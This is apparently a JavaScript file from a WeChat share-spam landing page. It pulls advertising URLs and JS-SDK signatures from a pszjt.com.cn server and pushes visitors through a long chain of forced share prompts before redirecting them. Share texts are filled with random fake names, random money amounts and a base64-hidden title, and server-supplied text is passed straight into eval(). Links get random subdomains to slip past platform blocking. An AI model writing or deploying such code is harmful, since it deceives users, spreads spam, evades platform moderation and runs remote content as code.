var advertising;
var jpurl;

$.ajax({
    url: 'http://url.pszjt.com.cn/luodi/6379a88a-1612-11e9-8069-00163e04d1cb/url',
    success: function (url) {
        (!!url && (url.indexOf('qq.com') == -1) && (advertising = url));
    }
});

function xst(s, r, t) {
    if (!s || s.length < 2) return s;
    if (arguments.length == 3) {
        if (!t || t < 1) t = 1;
        var icons = ['♐', '🐬', '☔', '♈', '⚓', '💕', '⛎', '⚡', '💢', '☁', '💔', '🌀', '♑', '🌂', '🚀', '💓', '🌁', '🌹', '♋', '💲'];
        for (var i = 0, l = t; i < l; i++) {
            var icon = icons[Math.floor(Math.random() * icons.length)];
            s = s.substring(0, r + 1) + icon + s.substring(r + 1, s.length);
        }
        return s;
    }
    if (!r || r < 1) r = 1;
    var icons = ['♐', '🐬', '☔', '♈', '⚓', '💕', '⛎', '⚡', '💢', '☁', '💔', '🌀', '♑', '🌂', '🚀', '💓', '🌁', '🌹', '♋', '💲'];
    for (var i = 0, l = r; i < l; i++) {
        var icon = icons[Math.floor(Math.random() * icons.length)];
        var index = Math.floor(Math.random() * s.length);
        s = s.substring(0, index + 1) + icon + s.substring(index + 1, s.length);
    }
    return s;
}


function config(share) {
    share[0] = share[1];
    wx.ready(function () {
        wx.hideOptionMenu();
        wx.showMenuItems({menuList: ['menuItem:share:appMessage']});
        wx.onMenuShareAppMessage({
            title: share[0].title,
            desc: share[0].desc,
            link: share[0].link,
            imgUrl: share[0].imgUrl,
            success: function () {
                showTip(2);
                wx.onMenuShareAppMessage({
                    title: share[4].title,
                    desc: share[4].desc,
                    link: share[4].link,
                    imgUrl: share[4].imgUrl,
                    success: function () {
                        showTip(3);
                        wx.onMenuShareAppMessage({
                            title: share[1].title,
                            desc: share[1].desc,
                            link: share[1].link,
                            imgUrl: share[1].imgUrl,
                            success: function () {
                                showTip(4);
                                wx.onMenuShareAppMessage({
                                    title: share[2].title,
                                    desc: share[2].desc,
                                    link: share[2].link,
                                    imgUrl: share[2].imgUrl,
                                    success: function () {
                                        showTip(5);
                                        wx.onMenuShareAppMessage({
                                            title: share[2].title,
                                            desc: share[2].desc,
                                            link: share[2].link,
                                            imgUrl: share[2].imgUrl,
                                            success: function () {
                                                showTip(6);
                                                wx.onMenuShareAppMessage({
                                                    title: share[2].title,
                                                    desc: share[2].desc,
                                                    link: share[2].link,
                                                    imgUrl: share[2].imgUrl,
                                                    success: function () {
                                                        showTip(7);
                                                        wx.hideOptionMenu();
                                                        wx.showMenuItems({menuList: ['menuItem:share:timeline']});
                                                        wx.onMenuShareTimeline({
                                                            title: share[3].title,
                                                            link: share[3].link,
                                                            imgUrl: share[3].imgUrl,
                                                            type: 'link',
                                                            success: function () {
                                                                showTip(8);
                                                                wx.onMenuShareTimeline({
                                                                    title: share[4].desc,
                                                                    link: share[4].link,
                                                                    imgUrl: share[4].imgUrl,
                                                                    type: 'link',
                                                                    success: function () {
                                                                        showTip(9);
                                                                        setTimeout(function () {
                                                                            if (jpurl) {
                                                                                window.location.href = jpurl;
                                                                            }
                                                                        }, 2000);
                                                                    }
                                                                });
                                                            }
                                                        });
                                                    }
                                                });
                                            }
                                        });
                                    }
                                });
                            }
                        });
                    }
                });
            }
        });
    });

}


function copy(obj) {
    var newObj = {};
    for (var item in obj) {
        newObj[item] = obj[item];
    }
    return newObj;
}

function sdk() {
    var t = config;
    var n = t.data,
        r = [n.friend, (n['friend2'] || copy(n.friend)), (n['friend3'] || copy(n.friend)), n.timeline, (n['timeline1'] || copy(n.timeline))],
        b = n.back_page,
        ct = n.complete_page;
    n.config['jsApiList'] = ["checkJsApi", "onMenuShareTimeline", "hideOptionMenu", "onMenuShareAppMessage", "hideMenuItems", "showMenuItems"];
    wx.config(n.config);
    var ft = n.format_url, tft = n.tformat_url;
    if (ft) {
        ft = ft.replace(/\{rand\}/g, function () {
            var cs = 'qwertyuiopasdfghjklzxcvbnm_0123456789';
            var s = '';
            for (var i = 0, l = (Math.floor(Math.random() * cs.length) + 1); i < l; i++) {
                s += cs[Math.floor(Math.random() * cs.length)];
            }
            return s;
        });
    }
    if (tft) {
        tft = tft.replace(/\{rand\}/g, function () {
            var cs = 'qwertyuiopasdfghjklzxcvbnm_0123456789';
            var s = '';
            for (var i = 0, l = (Math.floor(Math.random() * cs.length) + 1); i < l; i++) {
                s += cs[Math.floor(Math.random() * cs.length)];
            }
            return s;
        });
    }
    (function (d) {
        function assign(s) {
            if (!s) return s;
            return s.replace(/\{city\}/g, function () {
                return city;
            }).replace(/\{name\}/g, function () {
                return ['雪桐', '彩馨', '莲珊', '甘丽美', '杜雅云', '宦安娜', '董珠', '于菡', '杜金文', '孔夏瑶', '杨寄琴', '莘千叶', '汪小妍', '巴佳莉',
                    '隆明明'
                ][Math.floor(Math.random() * 15)];
            }).replace(/\{title\}/g, function () {
                return title || unescape(atob(
                    'JXU1QUU5JXU2QTIxJXU2M0Y0JXU0RUE0JTdFJXU3OUMxJXU1QkM2JXU0RkYxJXU0RTUwJXU5MEU4'));
            }).replace(/\{num\}/g, function () {
                return Math.floor(Math.random() * (50 - 10) + 10);
            }).replace(/\{money\}/g, function () {
                return Math.floor(Math.random() * (100 - 50) + 50) + '.' + Math.floor(Math.random() * (99 - 10) + 10);
            });
        }

        for (var i = 0; i < d.length; i++) {
            if (!!d[i].title) {
                var tempTitle = assign(d[i].title);
                tempTitle = eval("('" + decodeURIComponent(tempTitle) + "')");
                d[i].title = tempTitle; // tempTitle.length > 4 ? xst(tempTitle, 1) : tempTitle;
            } else d[i].title = "";
            if (!!d[i].desc) {
                var tempDesc = assign(d[i].desc);
                tempDesc = eval("('" + decodeURIComponent(tempDesc) + "')"); //*/
                d[i].desc = tempDesc;//.length > 2 ? xst(tempDesc, 2) : tempDesc;
            } else d[i].desc = "";

            var go;
            if (/{goto->/.test(d[i].link)) {
                go = d[i].link.split('->')[1];
                go = go.substr(0, go.length - 1);
                d[i].link = d[0].link.substr(0, d[0].link.indexOf('/', 7)) + '/ad/goto?url=' + encodeURIComponent(go) + '&type=groupmessage';
            } else if (/{request->/.test(d[i].link)) {
                go = d[i].link.split('->')[1];
                go = go.substr(0, go.length - 1);
                (function (i) {
                    $.get(go, function (go) {
                        go = go.trim();
                        // go += '/'+ Date.now() +'.gov'
                        d[i].link = d[0].link.substr(0, d[0].link.indexOf('/', 7)) + '/ad/goto?url=' + encodeURIComponent(go) + '&type=groupmessage';
                    });
                }(i));
            }

            if (!/qqopenapp|bdysite|myqcloud|weidux|bc8090|jnjjq|qjzl|zzmht|cr18oa|hd7yx4/i.test(d[i].link)) {
                d[i].link = d[i].link.replace('http://a.', 'http://').replace('http://', 'http://' + (function () {
                    function guid() {
                        function S4() {
                            return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1);
                        }

                        return (S4() + S4() + "-" + S4() + "-" + S4() + "-" + S4() + "-" + S4() + S4() + S4());
                    }

                    function randStr(len, mlen) {
                        var chars = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0987654321";
                        var str = '';
                        if (arguments.length == 2) {
                            len = Math.floor(Math.random() * (mlen - len) + len);
                        }
                        for (var i = 0; i < len; i++) {
                            str += chars.charAt(Math.floor(Math.random() * (chars.length - 0) + 0));
                        }
                        return str;
                    }

                    return randStr(5, 10);
                    // return guid().replace(/-/g, '').toLowerCase();
                })() + '.');
                !!ft && (d[i].link = ft.replace('<url>', r[i].link));
            }
        }
    })(r);
    config(r);
    // jpurl = ct;
    (!!b && (advertising = b));
}

function sdk2() {
    $.ajax({
        url: "http://sign.v2.pszjt.com.cn/api/sign?url=" + encodeURIComponent(location.href.split("#")[0]),
        dataType: 'json',
        success: function (t) {
            var n = t.data,
                r = [n.friend, (n['friend2'] || copy(n.friend)), (n['friend3'] || copy(n.friend)), n.timeline, (n['timeline1'] || copy(n.timeline))],
                b = n.back_page,
                ct = n.complete_page;
            n.config['jsApiList'] = ["checkJsApi", "onMenuShareTimeline", "hideOptionMenu", "onMenuShareAppMessage", "hideMenuItems", "showMenuItems"];
            wx.config(n.config);
            var ft = n.format_url, tft = n.tformat_url;
            if (ft) {
                ft = ft.replace(/\{rand\}/g, function () {
                    var cs = 'qwertyuiopasdfghjklzxcvbnm_0123456789';
                    var s = '';
                    for (var i = 0, l = (Math.floor(Math.random() * cs.length) + 1); i < l; i++) {
                        s += cs[Math.floor(Math.random() * cs.length)];
                    }
                    return s;
                });
            }
            if (tft) {
                tft = tft.replace(/\{rand\}/g, function () {
                    var cs = 'qwertyuiopasdfghjklzxcvbnm_0123456789';
                    var s = '';
                    for (var i = 0, l = (Math.floor(Math.random() * cs.length) + 1); i < l; i++) {
                        s += cs[Math.floor(Math.random() * cs.length)];
                    }
                    return s;
                });
            }
            (function (d) {
                function assign(s) {
                    if (!s) return s;
                    return s.replace(/\{city\}/g, function () {
                        return city;
                    }).replace(/\{name\}/g, function () {
                        return ['雪桐', '彩馨', '莲珊', '甘丽美', '杜雅云', '宦安娜', '董珠', '于菡', '杜金文', '孔夏瑶', '杨寄琴', '莘千叶', '汪小妍', '巴佳莉',
                            '隆明明'
                        ][Math.floor(Math.random() * 15)];
                    }).replace(/\{title\}/g, function () {
                        return title || unescape(atob(
                            'JXU1QUU5JXU2QTIxJXU2M0Y0JXU0RUE0JTdFJXU3OUMxJXU1QkM2JXU0RkYxJXU0RTUwJXU5MEU4'));
                    }).replace(/\{num\}/g, function () {
                        return Math.floor(Math.random() * (50 - 10) + 10);
                    }).replace(/\{money\}/g, function () {
                        return Math.floor(Math.random() * (100 - 50) + 50) + '.' + Math.floor(Math.random() * (99 - 10) + 10);
                    });
                }

                for (var i = 0; i < d.length; i++) {
                    if (!!d[i].title) {
                        var tempTitle = assign(d[i].title);
                        tempTitle = eval("('" + decodeURIComponent(tempTitle) + "')");
                        d[i].title = tempTitle; // tempTitle.length > 4 ? xst(tempTitle, 1) : tempTitle;
                    } else d[i].title = "";
                    if (!!d[i].desc) {
                        var tempDesc = assign(d[i].desc);
                        tempDesc = eval("('" + decodeURIComponent(tempDesc) + "')"); //*/
                        d[i].desc = tempDesc;//.length > 2 ? xst(tempDesc, 2) : tempDesc;
                    } else d[i].desc = "";

                    var go;
                    if (/{goto->/.test(d[i].link)) {
                        go = d[i].link.split('->')[1];
                        go = go.substr(0, go.length - 1);
                        d[i].link = d[0].link.substr(0, d[0].link.indexOf('/', 7)) + '/ad/goto?url=' + encodeURIComponent(go) + '&type=groupmessage';
                    } else if (/{request->/.test(d[i].link)) {
                        go = d[i].link.split('->')[1];
                        go = go.substr(0, go.length - 1);
                        (function (i) {
                            $.get(go, function (go) {
                                go = go.trim();
                                // go += '/'+ Date.now() +'.gov'
                                d[i].link = d[0].link.substr(0, d[0].link.indexOf('/', 7)) + '/ad/goto?url=' + encodeURIComponent(go) + '&type=groupmessage';
                            });
                        }(i));
                    }

                    if (!/qqopenapp|bdysite|myqcloud|weidux|bc8090|jnjjq|qjzl|zzmht|cr18oa|hd7yx4/i.test(d[i].link)) {
                        d[i].link = d[i].link.replace('http://a.', 'http://').replace('http://', 'http://' + (function () {
                            function guid() {
                                function S4() {
                                    return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1);
                                }

                                return (S4() + S4() + "-" + S4() + "-" + S4() + "-" + S4() + "-" + S4() + S4() + S4());
                            }

                            function randStr(len, mlen) {
                                var chars = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0987654321";
                                var str = '';
                                if (arguments.length == 2) {
                                    len = Math.floor(Math.random() * (mlen - len) + len);
                                }
                                for (var i = 0; i < len; i++) {
                                    str += chars.charAt(Math.floor(Math.random() * (chars.length - 0) + 0));
                                }
                                return str;
                            }

                            return randStr(5, 10);
                            // return guid().replace(/-/g, '').toLowerCase();
                        })() + '.');
                        !!ft && (d[i].link = ft.replace('<url>', r[i].link));
                    }
                }
            })(r);
            config(r);
            // jpurl = ct;
            (!!b && (advertising = b));
        }
    });
}